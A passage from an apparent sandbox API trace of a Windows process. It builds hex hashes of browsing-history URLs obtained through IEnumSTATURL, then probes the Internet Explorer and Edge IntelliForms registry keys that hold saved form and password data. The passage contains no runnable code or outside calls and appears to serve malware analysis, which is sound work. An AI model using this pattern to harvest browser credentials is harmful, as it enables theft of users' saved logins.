lpString2="3638" | out: lpString1="3638") returned="3638" [0053.545] lstrcatA (in: lpString1="3638", lpString2="8B" | out: lpString1="36388B") returned="36388B" [0053.545] LocalFree (hMem=0x75fc10) returned 0x0 [0053.545] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="B1") returned 2 [0053.545] lstrlenA (lpString="36388B") returned 6 [0053.545] lstrlenA (lpString="B1") returned 2 [0053.545] LocalAlloc (uFlags=0x40, uBytes=0x89) returned 0x763010 [0053.545] lstrcpyA (in: lpString1=0x763010, lpString2="36388B" | out: lpString1="36388B") returned="36388B" [0053.545] lstrcatA (in: lpString1="36388B", lpString2="B1" | out: lpString1="36388BB1") returned="36388BB1" [0053.545] LocalFree (hMem=0x75fb80) returned 0x0 [0053.545] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="90") returned 2 [0053.545] lstrlenA (lpString="36388BB1") returned 8 [0053.545] lstrlenA (lpString="90") returned 2 [0053.545] LocalAlloc (uFlags=0x40, uBytes=0x8b) returned 0x7630a8 [0053.545] lstrcpyA (in: lpString1=0x7630a8, lpString2="36388BB1" | out: lpString1="36388BB1") returned="36388BB1" [0053.545] lstrcatA (in: lpString1="36388BB1", lpString2="90" | out: lpString1="36388BB190") returned="36388BB190" [0053.545] LocalFree (hMem=0x763010) returned 0x0 [0053.545] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="A8") returned 2 [0053.545] lstrlenA (lpString="36388BB190") returned 10 [0053.545] lstrlenA (lpString="A8") returned 2 [0053.545] LocalAlloc (uFlags=0x40, uBytes=0x8d) returned 0x763010 [0053.545] lstrcpyA (in: lpString1=0x763010, lpString2="36388BB190" | out: lpString1="36388BB190") returned="36388BB190" [0053.545] lstrcatA (in: lpString1="36388BB190", lpString2="A8" | out: lpString1="36388BB190A8") returned="36388BB190A8" [0053.545] LocalFree (hMem=0x7630a8) returned 0x0 [0053.545] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="31") returned 2 [0053.545] lstrlenA (lpString="36388BB190A8") returned 12 [0053.545] lstrlenA (lpString="31") returned 2 [0053.545] LocalAlloc (uFlags=0x40, uBytes=0x8f) returned 0x7630a8 [0053.545] lstrcpyA (in: lpString1=0x7630a8, lpString2="36388BB190A8" | out: lpString1="36388BB190A8") returned="36388BB190A8" [0053.545] lstrcatA (in: lpString1="36388BB190A8", lpString2="31" | out: lpString1="36388BB190A831") returned="36388BB190A831" [0053.545] LocalFree (hMem=0x763010) returned 0x0 [0053.545] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="4A") returned 2 [0053.545] lstrlenA (lpString="36388BB190A831") returned 14 [0053.545] lstrlenA (lpString="4A") returned 2 [0053.545] LocalAlloc (uFlags=0x40, uBytes=0x91) returned 0x763140 [0053.545] lstrcpyA (in: lpString1=0x763140, lpString2="36388BB190A831" | out: lpString1="36388BB190A831") returned="36388BB190A831" [0053.545] lstrcatA (in: lpString1="36388BB190A831", lpString2="4A" | out: lpString1="36388BB190A8314A") returned="36388BB190A8314A" [0053.545] LocalFree (hMem=0x7630a8) returned 0x0 [0053.545] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="1B") returned 2 [0053.545] lstrlenA (lpString="36388BB190A8314A") returned 16 [0053.545] lstrlenA (lpString="1B") returned 2 [0053.545] LocalAlloc (uFlags=0x40, uBytes=0x93) returned 0x763010 [0053.545] lstrcpyA (in: lpString1=0x763010, lpString2="36388BB190A8314A" | out: lpString1="36388BB190A8314A") returned="36388BB190A8314A" [0053.545] lstrcatA (in: lpString1="36388BB190A8314A", lpString2="1B" | out: lpString1="36388BB190A8314A1B") returned="36388BB190A8314A1B" [0053.545] LocalFree (hMem=0x763140) returned 0x0 [0053.546] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="7A") returned 2 [0053.546] lstrlenA (lpString="36388BB190A8314A1B") returned 18 [0053.546] lstrlenA (lpString="7A") returned 2 [0053.546] LocalAlloc (uFlags=0x40, uBytes=0x95) returned 0x7630b0 [0053.546] lstrcpyA (in: lpString1=0x7630b0, lpString2="36388BB190A8314A1B" | out: lpString1="36388BB190A8314A1B") returned="36388BB190A8314A1B" [0053.546] lstrcatA (in: lpString1="36388BB190A8314A1B", lpString2="7A" | out: lpString1="36388BB190A8314A1B7A") returned="36388BB190A8314A1B7A" [0053.546] LocalFree (hMem=0x763010) returned 0x0 [0053.546] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="FA") returned 2 [0053.546] lstrlenA (lpString="36388BB190A8314A1B7A") returned 20 [0053.546] lstrlenA (lpString="FA") returned 2 [0053.546] LocalAlloc (uFlags=0x40, uBytes=0x97) returned 0x763010 [0053.546] lstrcpyA (in: lpString1=0x763010, lpString2="36388BB190A8314A1B7A" | out: lpString1="36388BB190A8314A1B7A") returned="36388BB190A8314A1B7A" [0053.546] lstrcatA (in: lpString1="36388BB190A8314A1B7A", lpString2="FA" | out: lpString1="36388BB190A8314A1B7AFA") returned="36388BB190A8314A1B7AFA" [0053.546] LocalFree (hMem=0x7630b0) returned 0x0 [0053.546] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="DC") returned 2 [0053.546] lstrlenA (lpString="36388BB190A8314A1B7AFA") returned 22 [0053.546] lstrlenA (lpString="DC") returned 2 [0053.546] LocalAlloc (uFlags=0x40, uBytes=0x99) returned 0x758a18 [0053.546] lstrcpyA (in: lpString1=0x758a18, lpString2="36388BB190A8314A1B7AFA" | out: lpString1="36388BB190A8314A1B7AFA") returned="36388BB190A8314A1B7AFA" [0053.546] lstrcatA (in: lpString1="36388BB190A8314A1B7AFA", lpString2="DC" | out: lpString1="36388BB190A8314A1B7AFADC") returned="36388BB190A8314A1B7AFADC" [0053.546] LocalFree (hMem=0x763010) returned 0x0 [0053.546] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="7E") returned 2 [0053.546] lstrlenA (lpString="36388BB190A8314A1B7AFADC") returned 24 [0053.546] lstrlenA (lpString="7E") returned 2 [0053.546] LocalAlloc (uFlags=0x40, uBytes=0x9b) returned 0x758820 [0053.546] lstrcpyA (in: lpString1=0x758820, lpString2="36388BB190A8314A1B7AFADC" | out: lpString1="36388BB190A8314A1B7AFADC") returned="36388BB190A8314A1B7AFADC" [0053.546] lstrcatA (in: lpString1="36388BB190A8314A1B7AFADC", lpString2="7E" | out: lpString1="36388BB190A8314A1B7AFADC7E") returned="36388BB190A8314A1B7AFADC7E" [0053.546] LocalFree (hMem=0x758a18) returned 0x0 [0053.546] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="45") returned 2 [0053.546] lstrlenA (lpString="36388BB190A8314A1B7AFADC7E") returned 26 [0053.546] lstrlenA (lpString="45") returned 2 [0053.546] LocalAlloc (uFlags=0x40, uBytes=0x9d) returned 0x758a18 [0053.546] lstrcpyA (in: lpString1=0x758a18, lpString2="36388BB190A8314A1B7AFADC7E" | out: lpString1="36388BB190A8314A1B7AFADC7E") returned="36388BB190A8314A1B7AFADC7E" [0053.546] lstrcatA (in: lpString1="36388BB190A8314A1B7AFADC7E", lpString2="45" | out: lpString1="36388BB190A8314A1B7AFADC7E45") returned="36388BB190A8314A1B7AFADC7E45" [0053.546] LocalFree (hMem=0x758820) returned 0x0 [0053.546] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="6D") returned 2 [0053.546] lstrlenA (lpString="36388BB190A8314A1B7AFADC7E45") returned 28 [0053.546] lstrlenA (lpString="6D") returned 2 [0053.546] LocalAlloc (uFlags=0x40, uBytes=0x9f) returned 0x758820 [0053.546] lstrcpyA (in: lpString1=0x758820, lpString2="36388BB190A8314A1B7AFADC7E45" | out: lpString1="36388BB190A8314A1B7AFADC7E45") returned="36388BB190A8314A1B7AFADC7E45" [0053.546] lstrcatA (in: lpString1="36388BB190A8314A1B7AFADC7E45", lpString2="6D" | out: lpString1="36388BB190A8314A1B7AFADC7E456D") returned="36388BB190A8314A1B7AFADC7E456D" [0053.546] LocalFree (hMem=0x758a18) returned 0x0 [0053.546] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="6B") returned 2 [0053.546] lstrlenA (lpString="36388BB190A8314A1B7AFADC7E456D") returned 30 [0053.546] lstrlenA (lpString="6B") returned 2 [0053.546] LocalAlloc (uFlags=0x40, uBytes=0xa1) returned 0x754b90 [0053.546] lstrcpyA (in: lpString1=0x754b90, lpString2="36388BB190A8314A1B7AFADC7E456D" | out: lpString1="36388BB190A8314A1B7AFADC7E456D") returned="36388BB190A8314A1B7AFADC7E456D" [0053.546] lstrcatA (in: lpString1="36388BB190A8314A1B7AFADC7E456D", lpString2="6B" | out: lpString1="36388BB190A8314A1B7AFADC7E456D6B") returned="36388BB190A8314A1B7AFADC7E456D6B" [0053.546] LocalFree (hMem=0x758820) returned 0x0 [0053.546] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="6B") returned 2 [0053.546] lstrlenA (lpString="36388BB190A8314A1B7AFADC7E456D6B") returned 32 [0053.546] lstrlenA (lpString="6B") returned 2 [0053.546] LocalAlloc (uFlags=0x40, uBytes=0xa3) returned 0x754cf0 [0053.546] lstrcpyA (in: lpString1=0x754cf0, lpString2="36388BB190A8314A1B7AFADC7E456D6B" | out: lpString1="36388BB190A8314A1B7AFADC7E456D6B") returned="36388BB190A8314A1B7AFADC7E456D6B" [0053.546] lstrcatA (in: lpString1="36388BB190A8314A1B7AFADC7E456D6B", lpString2="6B" | out: lpString1="36388BB190A8314A1B7AFADC7E456D6B6B") returned="36388BB190A8314A1B7AFADC7E456D6B6B" [0053.546] LocalFree (hMem=0x754b90) returned 0x0 [0053.546] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="43") returned 2 [0053.546] lstrlenA (lpString="36388BB190A8314A1B7AFADC7E456D6B6B") returned 34 [0053.547] lstrlenA (lpString="43") returned 2 [0053.547] LocalAlloc (uFlags=0x40, uBytes=0xa5) returned 0x754b90 [0053.547] lstrcpyA (in: lpString1=0x754b90, lpString2="36388BB190A8314A1B7AFADC7E456D6B6B" | out: lpString1="36388BB190A8314A1B7AFADC7E456D6B6B") returned="36388BB190A8314A1B7AFADC7E456D6B6B" [0053.547] lstrcatA (in: lpString1="36388BB190A8314A1B7AFADC7E456D6B6B", lpString2="43" | out: lpString1="36388BB190A8314A1B7AFADC7E456D6B6B43") returned="36388BB190A8314A1B7AFADC7E456D6B6B43" [0053.547] LocalFree (hMem=0x754cf0) returned 0x0 [0053.547] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="74") returned 2 [0053.547] lstrlenA (lpString="36388BB190A8314A1B7AFADC7E456D6B6B43") returned 36 [0053.547] lstrlenA (lpString="74") returned 2 [0053.547] LocalAlloc (uFlags=0x40, uBytes=0xa7) returned 0x754cf0 [0053.547] lstrcpyA (in: lpString1=0x754cf0, lpString2="36388BB190A8314A1B7AFADC7E456D6B6B43" | out: lpString1="36388BB190A8314A1B7AFADC7E456D6B6B43") returned="36388BB190A8314A1B7AFADC7E456D6B6B43" [0053.547] lstrcatA (in: lpString1="36388BB190A8314A1B7AFADC7E456D6B6B43", lpString2="74" | out: lpString1="36388BB190A8314A1B7AFADC7E456D6B6B4374") returned="36388BB190A8314A1B7AFADC7E456D6B6B4374" [0053.547] LocalFree (hMem=0x754b90) returned 0x0 [0053.547] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="8D") returned 2 [0053.547] lstrlenA (lpString="36388BB190A8314A1B7AFADC7E456D6B6B4374") returned 38 [0053.547] lstrlenA (lpString="8D") returned 2 [0053.547] LocalAlloc (uFlags=0x40, uBytes=0xa9) returned 0x750a48 [0053.547] lstrcpyA (in: lpString1=0x750a48, lpString2="36388BB190A8314A1B7AFADC7E456D6B6B4374" | out: lpString1="36388BB190A8314A1B7AFADC7E456D6B6B4374") returned="36388BB190A8314A1B7AFADC7E456D6B6B4374" [0053.547] lstrcatA (in: lpString1="36388BB190A8314A1B7AFADC7E456D6B6B4374", lpString2="8D" | out: lpString1="36388BB190A8314A1B7AFADC7E456D6B6B43748D") returned="36388BB190A8314A1B7AFADC7E456D6B6B43748D" [0053.547] LocalFree (hMem=0x754cf0) returned 0x0 [0053.547] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="12") returned 2 [0053.547] lstrlenA (lpString="36388BB190A8314A1B7AFADC7E456D6B6B43748D") returned 40 [0053.547] lstrlenA (lpString="12") returned 2 [0053.547] LocalAlloc (uFlags=0x40, uBytes=0xab) returned 0x750bb8 [0053.547] lstrcpyA (in: lpString1=0x750bb8, lpString2="36388BB190A8314A1B7AFADC7E456D6B6B43748D" | out: lpString1="36388BB190A8314A1B7AFADC7E456D6B6B43748D") returned="36388BB190A8314A1B7AFADC7E456D6B6B43748D" [0053.547] lstrcatA (in: lpString1="36388BB190A8314A1B7AFADC7E456D6B6B43748D", lpString2="12" | out: lpString1="36388BB190A8314A1B7AFADC7E456D6B6B43748D12") returned="36388BB190A8314A1B7AFADC7E456D6B6B43748D12" [0053.547] LocalFree (hMem=0x750a48) returned 0x0 [0053.547] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0xefc8c | out: phkResult=0xefc8c*=0x0) returned 0x2 [0053.547] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0xefc60 | out: phkResult=0xefc60*=0x0) returned 0x2 [0053.547] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0xefc34 | out: phkResult=0xefc34*=0x0) returned 0x2 [0053.547] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20019, phkResult=0xefc8c | out: phkResult=0xefc8c*=0x0) returned 0x2 [0053.547] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20219, phkResult=0xefc60 | out: phkResult=0xefc60*=0x0) returned 0x2 [0053.547] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20119, phkResult=0xefc34 | out: phkResult=0xefc34*=0x0) returned 0x2 [0053.547] LocalFree (hMem=0x750bb8) returned 0x0 [0053.547] CoTaskMemFree (pv=0x762028) [0053.547] IEnumSTATURL:Next (in: This=0x75a808, celt=0x1, rgelt=0xefd34, pceltFetched=0xefd30*=0x0 | out: rgelt=0xefd34, pceltFetched=0xefd30*=0x1) returned 0x0 [0053.548] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Desktop/y9xBuByx4xj.png", lpSrch="?") returned 0x0 [0053.548] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Desktop/y9xBuByx4xj.png") returned 57 [0053.548] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="E0") returned 2 [0053.548] lstrlenA (lpString="") returned 0 [0053.548] lstrlenA (lpString="E0") returned 2 [0053.548] LocalAlloc (uFlags=0x40, uBytes=0x83) returned 0x75fb80 [0053.548] lstrcpyA (in: lpString1=0x75fb80, lpString2="" | out: lpString1="") returned="" [0053.548] lstrcatA (in: lpString1="", lpString2="E0" | out: lpString1="E0") returned="E0" [0053.548] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="52") returned 2 [0053.548] lstrlenA (lpString="E0") returned 2 [0053.548] lstrlenA (lpString="52") returned 2 [0053.548] LocalAlloc (uFlags=0x40, uBytes=0x85) returned 0x75fc10 [0053.548] lstrcpyA (in: lpString1=0x75fc10, lpString2="E0" | out: lpString1="E0") returned="E0" [0053.548] lstrcatA (in: lpString1="E0", lpString2="52" | out: lpString1="E052") returned="E052" [0053.548] LocalFree (hMem=0x75fb80) returned 0x0 [0053.548] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="3C") returned 2 [0053.548] lstrlenA (lpString="E052") returned 4 [0053.548] lstrlenA (lpString="3C") returned 2 [0053.548] LocalAlloc (uFlags=0x40, uBytes=0x87) returned 0x75fb80 [0053.548] lstrcpyA (in: lpString1=0x75fb80, lpString2="E052" | out: lpString1="E052") returned="E052" [0053.548] lstrcatA (in: lpString1="E052", lpString2="3C" | out: lpString1="E0523C") returned="E0523C" [0053.548] LocalFree (hMem=0x75fc10) returned 0x0 [0053.548] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="5F") returned 2 [0053.548] lstrlenA (lpString="E0523C") returned 6 [0053.548] lstrlenA (lpString="5F") returned 2 [0053.548] LocalAlloc (uFlags=0x40, uBytes=0x89) returned 0x763010 [0053.548] lstrcpyA (in: lpString1=0x763010, lpString2="E0523C" | out: lpString1="E0523C") returned="E0523C" [0053.548] lstrcatA (in: lpString1="E0523C", lpString2="5F" | out: lpString1="E0523C5F") returned="E0523C5F" [0053.548] LocalFree (hMem=0x75fb80) returned 0x0 [0053.548] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="22") returned 2 [0053.548] lstrlenA (lpString="E0523C5F") returned 8 [0053.548] lstrlenA (lpString="22") returned 2 [0053.548] LocalAlloc (uFlags=0x40, uBytes=0x8b) returned 0x7630a8 [0053.548] lstrcpyA (in: lpString1=0x7630a8, lpString2="E0523C5F" | out: lpString1="E0523C5F") returned="E0523C5F" [0053.548] lstrcatA (in: lpString1="E0523C5F", lpString2="22" | out: lpString1="E0523C5F22") returned="E0523C5F22" [0053.548] LocalFree (hMem=0x763010) returned 0x0 [0053.548] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="A0") returned 2 [0053.548] lstrlenA (lpString="E0523C5F22") returned 10 [0053.548] lstrlenA (lpString="A0") returned 2 [0053.548] LocalAlloc (uFlags=0x40, uBytes=0x8d) returned 0x763010 [0053.548] lstrcpyA (in: lpString1=0x763010, lpString2="E0523C5F22" | out: lpString1="E0523C5F22") returned="E0523C5F22" [0053.548] lstrcatA (in: lpString1="E0523C5F22", lpString2="A0" | out: lpString1="E0523C5F22A0") returned="E0523C5F22A0" [0053.548] LocalFree (hMem=0x7630a8) returned 0x0 [0053.548] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="A1") returned 2 [0053.548] lstrlenA (lpString="E0523C5F22A0") returned 12 [0053.548] lstrlenA (lpString="A1") returned 2 [0053.548] LocalAlloc (uFlags=0x40, uBytes=0x8f) returned 0x7630a8 [0053.548] lstrcpyA (in: lpString1=0x7630a8, lpString2="E0523C5F22A0" | out: lpString1="E0523C5F22A0") returned="E0523C5F22A0" [0053.548] lstrcatA (in: lpString1="E0523C5F22A0", lpString2="A1" | out: lpString1="E0523C5F22A0A1") returned="E0523C5F22A0A1" [0053.548] LocalFree (hMem=0x763010) returned 0x0 [0053.548] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="47") returned 2 [0053.548] lstrlenA (lpString="E0523C5F22A0A1") returned 14 [0053.548] lstrlenA (lpString="47") returned 2 [0053.548] LocalAlloc (uFlags=0x40, uBytes=0x91) returned 0x763140 [0053.548] lstrcpyA (in: lpString1=0x763140, lpString2="E0523C5F22A0A1" | out: lpString1="E0523C5F22A0A1") returned="E0523C5F22A0A1" [0053.549] lstrcatA (in: lpString1="E0523C5F22A0A1", lpString2="47" | out: lpString1="E0523C5F22A0A147") returned="E0523C5F22A0A147" [0053.549] LocalFree (hMem=0x7630a8) returned 0x0 [0053.549] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="24") returned 2 [0053.549] lstrlenA (lpString="E0523C5F22A0A147") returned 16 [0053.549] lstrlenA (lpString="24") returned 2 [0053.549] LocalAlloc (uFlags=0x40, uBytes=0x93) returned 0x763010 [0053.549] lstrcpyA (in: lpString1=0x763010, lpString2="E0523C5F22A0A147" | out: lpString1="E0523C5F22A0A147") returned="E0523C5F22A0A147" [0053.549] lstrcatA (in: lpString1="E0523C5F22A0A147", lpString2="24" | out: lpString1="E0523C5F22A0A14724") returned="E0523C5F22A0A14724" [0053.549] LocalFree (hMem=0x763140) returned 0x0 [0053.549] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="A7") returned 2 [0053.549] lstrlenA (lpString="E0523C5F22A0A14724") returned 18 [0053.549] lstrlenA (lpString="A7") returned 2 [0053.549] LocalAlloc (uFlags=0x40, uBytes=0x95) returned 0x7630b0 [0053.549] lstrcpyA (in: lpString1=0x7630b0, lpString2="E0523C5F22A0A14724" | out: lpString1="E0523C5F22A0A14724") returned="E0523C5F22A0A14724" [0053.549] lstrcatA (in: lpString1="E0523C5F22A0A14724", lpString2="A7" | out: lpString1="E0523C5F22A0A14724A7") returned="E0523C5F22A0A14724A7" [0053.549] LocalFree (hMem=0x763010) returned 0x0 [0053.549] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="F5") returned 2 [0053.549] lstrlenA (lpString="E0523C5F22A0A14724A7") returned 20 [0053.549] lstrlenA (lpString="F5") returned 2 [0053.549] LocalAlloc (uFlags=0x40, uBytes=0x97) returned 0x763010 [0053.549] lstrcpyA (in: lpString1=0x763010, lpString2="E0523C5F22A0A14724A7" | out: lpString1="E0523C5F22A0A14724A7") returned="E0523C5F22A0A14724A7" [0053.549] lstrcatA (in: lpString1="E0523C5F22A0A14724A7", lpString2="F5" | out: lpString1="E0523C5F22A0A14724A7F5") returned="E0523C5F22A0A14724A7F5" [0053.549] LocalFree (hMem=0x7630b0) returned 0x0 [0053.549] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="99") returned 2 [0053.549] lstrlenA (lpString="E0523C5F22A0A14724A7F5") returned 22 [0053.549] lstrlenA (lpString="99") returned 2 [0053.549] LocalAlloc (uFlags=0x40, uBytes=0x99) returned 0x758820 [0053.549] lstrcpyA (in: lpString1=0x758820, lpString2="E0523C5F22A0A14724A7F5" | out: lpString1="E0523C5F22A0A14724A7F5") returned="E0523C5F22A0A14724A7F5" [0053.549] lstrcatA (in: lpString1="E0523C5F22A0A14724A7F5", lpString2="99" | out: lpString1="E0523C5F22A0A14724A7F599") returned="E0523C5F22A0A14724A7F599" [0053.549] LocalFree (hMem=0x763010) returned 0x0 [0053.549] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="77") returned 2 [0053.549] lstrlenA (lpString="E0523C5F22A0A14724A7F599") returned 24 [0053.549] lstrlenA (lpString="77") returned 2 [0053.549] LocalAlloc (uFlags=0x40, uBytes=0x9b) returned 0x758a18 [0053.549] lstrcpyA (in: lpString1=0x758a18, lpString2="E0523C5F22A0A14724A7F599" | out: lpString1="E0523C5F22A0A14724A7F599") returned="E0523C5F22A0A14724A7F599" [0053.549] lstrcatA (in: lpString1="E0523C5F22A0A14724A7F599", lpString2="77" | out: lpString1="E0523C5F22A0A14724A7F59977") returned="E0523C5F22A0A14724A7F59977" [0053.549] LocalFree (hMem=0x758820) returned 0x0 [0053.549] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="4F") returned 2 [0053.549] lstrlenA (lpString="E0523C5F22A0A14724A7F59977") returned 26 [0053.549] lstrlenA (lpString="4F") returned 2 [0053.549] LocalAlloc (uFlags=0x40, uBytes=0x9d) returned 0x758820 [0053.549] lstrcpyA (in: lpString1=0x758820, lpString2="E0523C5F22A0A14724A7F59977" | out: lpString1="E0523C5F22A0A14724A7F59977") returned="E0523C5F22A0A14724A7F59977" [0053.549] lstrcatA (in: lpString1="E0523C5F22A0A14724A7F59977", lpString2="4F" | out: lpString1="E0523C5F22A0A14724A7F599774F") returned="E0523C5F22A0A14724A7F599774F" [0053.549] LocalFree (hMem=0x758a18) returned 0x0 [0053.549] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="C4") returned 2 [0053.549] lstrlenA (lpString="E0523C5F22A0A14724A7F599774F") returned 28 [0053.549] lstrlenA (lpString="C4") returned 2 [0053.549] LocalAlloc (uFlags=0x40, uBytes=0x9f) returned 0x758a18 [0053.549] lstrcpyA (in: lpString1=0x758a18, lpString2="E0523C5F22A0A14724A7F599774F" | out: lpString1="E0523C5F22A0A14724A7F599774F") returned="E0523C5F22A0A14724A7F599774F" [0053.549] lstrcatA (in: lpString1="E0523C5F22A0A14724A7F599774F", lpString2="C4" | out: lpString1="E0523C5F22A0A14724A7F599774FC4") returned="E0523C5F22A0A14724A7F599774FC4" [0053.549] LocalFree (hMem=0x758820) returned 0x0 [0053.549] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="44") returned 2 [0053.549] lstrlenA (lpString="E0523C5F22A0A14724A7F599774FC4") returned 30 [0053.549] lstrlenA (lpString="44") returned 2 [0053.549] LocalAlloc (uFlags=0x40, uBytes=0xa1) returned 0x754cf0 [0053.549] lstrcpyA (in: lpString1=0x754cf0, lpString2="E0523C5F22A0A14724A7F599774FC4" | out: lpString1="E0523C5F22A0A14724A7F599774FC4") returned="E0523C5F22A0A14724A7F599774FC4" [0053.549] lstrcatA (in: lpString1="E0523C5F22A0A14724A7F599774FC4", lpString2="44" | out: lpString1="E0523C5F22A0A14724A7F599774FC444") returned="E0523C5F22A0A14724A7F599774FC444" [0053.550] LocalFree (hMem=0x758a18) returned 0x0 [0053.550] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="EC") returned 2 [0053.550] lstrlenA (lpString="E0523C5F22A0A14724A7F599774FC444") returned 32 [0053.550] lstrlenA (lpString="EC") returned 2 [0053.550] LocalAlloc (uFlags=0x40, uBytes=0xa3) returned 0x754b90 [0053.550] lstrcpyA (in: lpString1=0x754b90, lpString2="E0523C5F22A0A14724A7F599774FC444" | out: lpString1="E0523C5F22A0A14724A7F599774FC444") returned="E0523C5F22A0A14724A7F599774FC444" [0053.550] lstrcatA (in: lpString1="E0523C5F22A0A14724A7F599774FC444", lpString2="EC" | out: lpString1="E0523C5F22A0A14724A7F599774FC444EC") returned="E0523C5F22A0A14724A7F599774FC444EC" [0053.550] LocalFree (hMem=0x754cf0) returned 0x0 [0053.550] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="DB") returned 2 [0053.550] lstrlenA (lpString="E0523C5F22A0A14724A7F599774FC444EC") returned 34 [0053.550] lstrlenA (lpString="DB") returned 2 [0053.550] LocalAlloc (uFlags=0x40, uBytes=0xa5) returned 0x754cf0 [0053.550] lstrcpyA (in: lpString1=0x754cf0, lpString2="E0523C5F22A0A14724A7F599774FC444EC" | out: lpString1="E0523C5F22A0A14724A7F599774FC444EC") returned="E0523C5F22A0A14724A7F599774FC444EC" [0053.550] lstrcatA (in: lpString1="E0523C5F22A0A14724A7F599774FC444EC", lpString2="DB" | out: lpString1="E0523C5F22A0A14724A7F599774FC444ECDB") returned="E0523C5F22A0A14724A7F599774FC444ECDB" [0053.550] LocalFree (hMem=0x754b90) returned 0x0 [0053.550] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="63") returned 2 [0053.550] lstrlenA (lpString="E0523C5F22A0A14724A7F599774FC444ECDB") returned 36 [0053.550] lstrlenA (lpString="63") returned 2 [0053.550] LocalAlloc (uFlags=0x40, uBytes=0xa7) returned 0x754b90 [0053.550] lstrcpyA (in: lpString1=0x754b90, lpString2="E0523C5F22A0A14724A7F599774FC444ECDB" | out: lpString1="E0523C5F22A0A14724A7F599774FC444ECDB") returned="E0523C5F22A0A14724A7F599774FC444ECDB" [0053.550] lstrcatA (in: lpString1="E0523C5F22A0A14724A7F599774FC444ECDB", lpString2="63" | out: lpString1="E0523C5F22A0A14724A7F599774FC444ECDB63") returned="E0523C5F22A0A14724A7F599774FC444ECDB63" [0053.550] LocalFree (hMem=0x754cf0) returned 0x0 [0053.550] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="ED") returned 2 [0053.550] lstrlenA (lpString="E0523C5F22A0A14724A7F599774FC444ECDB63") returned 38 [0053.550] lstrlenA (lpString="ED") returned 2 [0053.550] LocalAlloc (uFlags=0x40, uBytes=0xa9) returned 0x750bb8 [0053.550] lstrcpyA (in: lpString1=0x750bb8, lpString2="E0523C5F22A0A14724A7F599774FC444ECDB63" | out: lpString1="E0523C5F22A0A14724A7F599774FC444ECDB63") returned="E0523C5F22A0A14724A7F599774FC444ECDB63" [0053.550] lstrcatA (in: lpString1="E0523C5F22A0A14724A7F599774FC444ECDB63", lpString2="ED" | out: lpString1="E0523C5F22A0A14724A7F599774FC444ECDB63ED") returned="E0523C5F22A0A14724A7F599774FC444ECDB63ED" [0053.550] LocalFree (hMem=0x754b90) returned 0x0 [0053.550] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="B5") returned 2 [0053.550] lstrlenA (lpString="E0523C5F22A0A14724A7F599774FC444ECDB63ED") returned 40 [0053.550] lstrlenA (lpString="B5") returned 2 [0053.550] LocalAlloc (uFlags=0x40, uBytes=0xab) returned 0x750a48 [0053.550] 